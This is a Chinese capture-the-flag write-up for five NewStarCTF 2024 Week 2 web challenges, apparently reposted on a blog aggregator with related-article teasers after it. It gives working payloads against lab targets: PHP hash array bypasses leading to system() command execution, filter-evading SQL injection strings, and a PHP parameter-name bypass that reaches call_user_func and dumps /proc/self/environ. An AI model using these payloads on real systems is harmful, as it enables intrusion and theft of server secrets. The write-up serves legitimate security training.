NewStarCTF2024-Week2-Web-WP

目录

1、复读机

2、你能在一秒内打出八句英文吗

3、遗失的拉链

4、谢谢皮蛋 plus

5、PangBai 过家家(2)


1、复读机

测了下存在 ssti

没什么说的 fenjing 秒了

2、你能在一秒内打出八句英文吗

每次出来的需要提交的内容都不一样

exp:

import requests
from bs4 import BeautifulSoupsession = requests.Session()
response = session.get('http://eci-2ze1rtca1ihhekx6li2b.cloudeci1.ichunqiu.com/')
welcome_title = BeautifulSoup(response.content, 'html.parser').find('h1').text
print(f'欢迎信息: {welcome_title}')text = BeautifulSoup(session.get('http://eci-2ze1rtca1ihhekx6li2b.cloudeci1.ichunqiu.com/start').content, 'html.parser').find('p', id='text').text
print(f'需要打字的文本: {text}')submit_response = session.post('http://eci-2ze1rtca1ihhekx6li2b.cloudeci1.ichunqiu.com/submit', data={'user_input': text})
submit_soup = BeautifulSoup(submit_response.content, 'html.parser')print(f'提交结果: {submit_soup.find("p").text}')
for idx, info in enumerate(submit_soup.find_all('p')):print(f'额外信息 {idx + 1}: {info.text}')

拿到 flag:flag{2db4250f-9572-48f9-83cc-0e7258fcbae7}

3、遗失的拉链

目录扫描存在备份文件

下载 www.zip

发现有一个名为 pizwww.php 的文件

查看

审一下 php 代码:

get 传入 new,post 传入 star,要求二者不相等并且 new 经过 sha1 加密要等于 star 经过 md5 加密,则可以 post 传入 cmd 命令进行调用,有一点正则的过滤,之后输出返回结果。

采用数组绕过,payload:

pizwww.php?new[]=1
post:star[]=2&cmd=system("ls");

读取根目录下的 flag:

pizwww.php?new[]=1
post:star[]=2&cmd=system("tac /f*");

拿到 flag:flag{a51581ea-3ec4-4fd8-a369-e239eeed1ab8}

4、谢谢皮蛋 plus

闭合点是双引号,空格被过滤了,采用内敛注释绕过

查数据库名:

0"/**/union/**/select/**/database(),1#

查表名:

0"/**/union/**/select/**/1,table_name/**/from/**/information_schema.tables/**/where/**/table_schema='ctf'#

查列名:

0"/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='ctf'/**/and/**/table_name='Fl4g'#

发现 and 也被过滤了

采用逻辑与绕过:

0"/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='ctf'/**/&&/**/table_name='Fl4g'#

想吐槽一下,列名都没改,过滤 and 的意义真不大。。。

用 week1 同样的 payload 就直接查出来了

查 flag:

0"/**/union/**/select/**/des,value/**/from/**/Fl4g#

拿到 flag:flag{12698df1-2813-478d-a464-75a50c823524

5、PangBai 过家家(2)

泄露的文件那就先目录扫描一下吧:

看到有 git 泄露

Githack 利用一下

下载到的文件似乎没什么

使用 git stash pop 将工作、暂存区的改动都恢复到工作区

发现如下地址:

BacKd0or.v2d23AOPpDfEW5Ca.php

访问

审一下代码:

主要就是满足:

if ($_GET['NewStar_CTF.2024'] !== 'Welcome' && preg_match('/^Welcome$/', $_GET['NewStar_CTF.2024'])) {

PHP 的非法参数名传参,简单绕一下:

在 PHP8 之前,如果参数中出现中括号[,那么中括号会被转换成下划线_,但是会出现转换错误,导致如果参数名后面还存在非法字符,则不会继续转换成下划线。也就是说,我们可以刻意拼接中括号制造这种错误,来保留后面的非法字符不被替换,因为中括号导致只会替换一次。

顺便说下这里回溯绕过和数组绕过都是不行的,回溯一般用于匹配不到的情况,这里是要求匹配成功,其次我传了下服务器直接处理不了,数组的话也是一般用于匹配不到,因为 preg_match 处理不了数组会直接返回 false,显然这里需要的是返回 true。

采用  %0a 换行截断,payload:

BacKd0or.v2d23AOPpDfEW5Ca.php?NewStar[CTF.2024=Welcome%0a
Post:papa=TfflxoU0ry7c

之后就是对call_user_func的利用:

第一个传入想要调用的函数,第二个传入函数的参数

命令执行成功

但是没有看到什么敏感文件,读一下环境变量:

/BacKd0or.v2d23AOPpDfEW5Ca.php?NewStar[CTF.2024=Welcome%0a
Post:papa=TfflxoU0ry7c&func=system&args=cat /proc/self/environ

还是被我找到了吧 pangbai

flag{6768c05d-8837-4e44-a396-3d7d043f21bf}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/56549.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【漏洞复现】畅捷通T+ FileUploadHandler.ashx 任意文件上传漏洞

免责声明: 本文旨在提供有关特定漏洞的信息,以帮助用户了解潜在风险。发布此信息旨在促进网络安全意识和技术进步,并非出于恶意。读者应理解,利用本文提到的漏洞或进行相关测试可能违反法律或服务协议。未经授权访问系统、网络或应用程序可能导致法律责任或严重后果…

如何从头训练大语言模型: A simple technical report

写在前面 自8月底训好自己的1.5B的LLM后,一直都没有发布一个完整的技术报告,不少小伙伴私信我催更,千呼万唤始出来。其实也没有太大动力去做,原因有三: 豁然开朗:搞定全流程之后,对LLM确实豁然…

静止的秘密

在未来的某一天,科技已经发展到了令人难以置信的地步。在这个时代,视频不再是简单的记录工具,而是成为了连接现实与虚拟世界的桥梁。在这个背景下,一位名叫陈欣的年轻女程序员,发明了一种名为“时间镜像”的技术&#…

智能去毛刺:2D视觉引导机器人如何重塑制造业未来

机器人技术已经深入到各个工业领域中,为制造业带来了前所未有的变革。其中,2D视觉引导机器人技术以其精准、高效的特点,在去毛刺工艺中发挥着越来越重要的作用。本文将为您介绍2D视觉引导机器人技术的基本原理及其在去毛刺工艺中的应用&#…

第2节 如何学习鸿蒙技术

以下是学习鸿蒙技术的一些途径: 一、官方文档与资源 1. 华为开发者官网 • 这是最权威的学习资源平台。官网提供了详细的鸿蒙操作系统的文档,包括架构介绍、开发指南、API参考等内容。例如,对于初学者来说,可以从入门教程开始&am…

Cortex-A7:一级页表(First level address translation)描述符格式及虚拟地址(VA)到物理地址(PA)转换过程

0 参考资料 ARM Cortex-A(armV7)编程手册V4.0.pdf1 Cortex-A7:一级页表(First level address translation)描述符格式及虚拟地址(VA)到物理地址(PA)转换过程 1.1 一级页表(First l…

白银票据、黄金票据和委派攻击(内网渗透)

今日你心思不在,心思不在则气息不在,气息不在则步伐不在,步伐不在,命安在。 文章目录 kerberos协议主要角色协议工作流程 白银票据白银票据伪造条件 黄金票据黄金票据伪造条件 白银票据和黄金票据哪个危害更大委派攻击非约束性委…

界面耻辱纪念堂--可视元素04

当我们第一次注意到 Visual Basic 5.0 菜单的动画效果“特性”时,我们只能嘲笑这种特性的傻气。事实上,我们并不觉得特性本身傻气,而是微软为这个特性投资,然后将这个特性应用到他们所有的主流产品(例如,Of…

06 算法基础:算法的定义、表现形式(自然语言、伪代码、流程图)、五个特性(有穷性、确定性、可行性、输入、输出)、好算法的设计目标

目录 1 算法的定义 2 算法的三种表现形式 2.1 自然语言 2.2 伪代码 2.3 流程图 3 算法的五个特性 3.1 有穷性 3.2 确定性 3.3 可行性 3.4 输入 3.5 输出 4 好算法的设计目标 4.1 正确性 4.2 可读性 4.3 健壮性 4.4 通用性 4.5 高效率与低存储量 1 算法的定义 …

力姆泰克DMB系列伺服电动缸

力姆泰克DMB系列伺服电动缸 高精度运动,运动平稳,低噪音,高速度 向下翻动查看更多 力姆泰克DMB系列伺服电动缸采用瑞士先进的伺服缸结构设计和进口散件国内组装, 保证力姆泰克伺服电动缸在国内的领先地位. 轧制滚珠丝杠保证伺服…

Google Ads API v18 发布,开发者迎来全新功能与优化

Google 发布了 Google Ads API 第 18 版,为开发者引入了多项新功能和改进。 Google 发布的 Google Ads API 第 18 版引入了增强的工具和功能,使广告主在广告活动优化和性能跟踪方面拥有更多控制权。 主要更新包括: 预算优化建议:新…

解决UNSPSC商品分类的层级不足的方法

《联合国标准产品和服务守则》(UNSPSC)是一个分层框架,旨在对产品和服务进行分类。其主要目标是通过提供统一的方法来对产品和服务进行分类,从而简化采购和供应链管理。 虽然 UNSPSC 有效地将产品分为各种商品类别,但…

06-ArcGIS For JavaScript-requestAnimationFrame动画渲染

文章目录 概述setInterval()与setTimeout()requestAnimationFrame()requestAnimationFrame在ArcGIS For JavaScript的应用结果 概述 本节主要讲解与时间相关的三个方法setTimeout()、setInterval()和requestAnimationFrame(),这三个方法都属…

弹性力学试题解答答案

一、名词解释 圣维南原理:分布于弹性体上一小块面积(或体积)内的荷载所引起的物体中的应力,在离荷载作用区稍远的地方,基本上只同荷载的合力和合力矩有关;荷载的具体分布只影响荷载作用区附近的应力分布。…

基于springboot学生成绩管理系统

作者:计算机学长阿伟 开发技术:SpringBoot、SSM、Vue、MySQL、ElementUI等,“文末源码”。 系统展示 【2024最新】基于JavaSpringBootVueMySQL的,前后端分离。 开发语言:Java数据库:MySQL技术:…

CPO:隐含于CoT与ToT两者间的推理平衡

自OpenAI推出o1以来,随着reasoning scaling law的大行其道‌,很多研究者都将目光聚焦在“reasoning”之上,而在仅reasoning维度上,确实存在着非常深邃且让人着迷的可探索空间,毕竟这意味着围绕system2展开的下一轮认知…

利用Excel数据合并到Word功能,官方名为“Word邮件合并”

### 利用Excel数据合并到Word功能,官方名为“Word邮件合并”简介 #### 引言 在日常办公场景中,我们经常需要将Excel中的数据批量插入到Word文档中,比如制作员工工资条、邀请函或是客户信息表等。传统的手工操作不仅耗时耗力,还容易…

Javascript 构造http请求

构造HTTP请求有多种方式,此种为使用javascript 构造http请求的方法 构造HTTP请求_vscode post 请求-CSDN博客 web/static/js/user/login.js ; var user_login_ops {init:function(){this.eventBind();},eventBind:function(){$(".login_wrap .do-login"…

博科测试IPO上市丨为行业提供智能测试综合解决方案

近年来,汽车制造、大型基础设施建设以及新能源开发等领域,对高精度、高效率的测试解决方案需求迫切。为推动行业发展,博科测试通过多年的技术积累以及自主创新,围绕伺服液压测试和汽车测试试验领域,积累了多项核心技术…

Java枚举封装状态值与类型转换

前言 在许多应用中,我们需要处理具有固定数量的状态或选项的数据。例如,在库存管理系统中,产品可以有不同的状态,如“入库”、“出库”等。通过使用 Java 的枚举(enum),我们可以有效地表示这些…